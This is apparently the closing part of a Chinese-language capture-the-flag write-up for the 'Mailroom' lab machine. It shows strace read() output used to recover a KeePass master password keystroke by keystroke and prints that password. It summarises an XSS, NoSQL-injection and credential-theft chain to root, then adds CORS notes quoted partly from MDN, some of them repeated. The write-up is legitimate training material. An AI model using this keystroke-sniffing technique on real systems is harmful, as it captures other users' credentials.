read(0, "0", 8192) = 1
read(0, "1", 8192) = 1
read(0, "\10", 8192) = 1
read(0, "r", 8192) = 1
read(0, "d", 8192) = 1
read(0, "9", 8192) = 1
read(0, "\n", 8192) = 1
matthew@mailroom:~$
matthew@mailroom:~$ cat readlog.txt | grep "read(0" | grep " = 1"
read(0, "!", 8192) = 1
read(0, "s", 8192) = 1
read(0, "E", 8192) = 1
read(0, "c", 8192) = 1
read(0, "U", 8192) = 1
read(0, "r", 8192) = 1
read(0, "3", 8192) = 1
read(0, "p", 8192) = 1
read(0, "4", 8192) = 1
read(0, "$", 8192) = 1
read(0, "$", 8192) = 1
read(0, "w", 8192) = 1
read(0, "0", 8192) = 1
read(0, "1", 8192) = 1
read(0, "\10", 8192) = 1
read(0, "r", 8192) = 1
read(0, "d", 8192) = 1
read(0, "9", 8192) = 1
read(0, "\n", 8192) = 1
在这里\10 模拟了删除的操作,对照 ascii 表 8进制可以看到
-_- 终极坑点 半天也没有想到 感谢 前辈
Refer:ASCII Chart (daleswanson.org)
key
key 密码:!sEcUr3p4$$w0rd9
最后复制root acc 拿到root权限
总结
本靶机还是一个十分有挑战性的靶机,首先突破点依旧是80端口,但是遇到我少见的利用xss来进行进一步的渗透
信息收集子域名,子域名的爆破还是十分重要的 和我们日常的渗透测试也一样
通过xss -> nosql注入 -> 拿到tristan ssh 密码 - > 拿到容器的shell ,寻找敏感信息 -> 成功拿到用户 matthew 的credentials
-> 收集信息 当前用户目录下 kdbx文件 keePass 软件可以进行查看 但是需要 key -> 通过 strace 查看 kpcli 进程的系统调用
分析系统调用 拿到 key - > root
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k94LsiIJ-1682784542739)(Mailroom.assets/image-20230420180918324.png)]
CORS
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests
同源策略,就是为了安全性来设计的
比如存在两个域名 http://a.com 和 http://b.com
http://a.com 向 http://b.com 发起 image css script 等内容的时候是不会触发同源策略不会拦截的
但是当 http://a.com 向 http://b.com 发起ajax
请求的时候是会触发同源策略被浏览器拦截的
但是有时候我们又不得不有这样的需求 ,同源策略就是来解决这个问题的
基本的思想就是:在服务端你可以指定你想要同意发起请求的域名,比如http://a.com向http://b.com发起请求后,http://b.com 在收到请求的时候 给响应包中添加 Access-Control-Allow-Origin:"*"
的http头信息
表示允许所有的域名来请求,浏览器解析响应的时候,看见带有这个头就不会拦截响应了
Requests with credentials
The most interesting capability exposed by both XMLHttpRequest
or Fetch and CORS is the ability to make “credentialed” requests that are aware of HTTP cookies and HTTP Authentication information. By default, in cross-origin XMLHttpRequest
or Fetch invocations, browsers will not send credentials. A specific flag has to be set on the XMLHttpRequest
object or the Request
constructor when it is invoked.
默认使用 xmlHttpRequest
或者 Fetch
发起请求的时候是不会携带身份信息的,只有当请求头中 Request with credentials
设置为true
的时候才会携带身份认证信息
If a request includes a credential (most commonly a Cookie
header) and the response includes an Access-Control-Allow-Origin: *
header (that is, with the wildcard), the browser will block access to the response, and report a CORS error in the devtools console.
如果一个请求带了cookie 等认证信息,但是返回的Access-Control-Allow-Origin的头是使用通配符的方式,浏览器会拦截响应并且爆出 CORS Error
But if a request does include a credential (like the Cookie
header) and the response includes an actual origin rather than the wildcard (like, for example, Access-Control-Allow-Origin: https://example.com
), then the browser will allow access to the response from the specified origin.
如果一个请求确实带了cookie 等认证信息,但是返回的Access-Control-Allow-Origin
的头是并不是使用通配符的方式,而是具体的schem://domain:port
,浏览器会将会正常通过
Also note that any Set-Cookie
response header in a response would not set a cookie if the Access-Control-Allow-Origin
value in that response is the “*
” wildcard rather an actual origin.
如果在响应头里面存在Set-Cookie
但是 Access-Control-Allow-Origin
是通配符 * 而不是一个实际的值,那么set cookie 的操作也不会生效
xmlHttpRequest
或者 Fetch
发起请求的时候是不会携带身份信息的,只有当请求头中 Request with credentials
设置为true
的时候才会携带身份认证信息
If a request includes a credential (most commonly a Cookie
header) and the response includes an Access-Control-Allow-Origin: *
header (that is, with the wildcard), the browser will block access to the response, and report a CORS error in the devtools console.
如果一个请求带了cookie 等认证信息,但是返回的Access-Control-Allow-Origin的头是使用通配符的方式,浏览器会拦截响应并且爆出 CORS Error
But if a request does include a credential (like the Cookie
header) and the response includes an actual origin rather than the wildcard (like, for example, Access-Control-Allow-Origin: https://example.com
), then the browser will allow access to the response from the specified origin.
如果一个请求确实带了cookie 等认证信息,但是返回的Access-Control-Allow-Origin
的头是并不是使用通配符的方式,而是具体的schem://domain:port
,浏览器会将会正常通过
Also note that any Set-Cookie
response header in a response would not set a cookie if the Access-Control-Allow-Origin
value in that response is the “*
” wildcard rather an actual origin.
如果在响应头里面存在Set-Cookie
但是 Access-Control-Allow-Origin
是通配符 * 而不是一个实际的值,那么set cookie 的操作也不会生效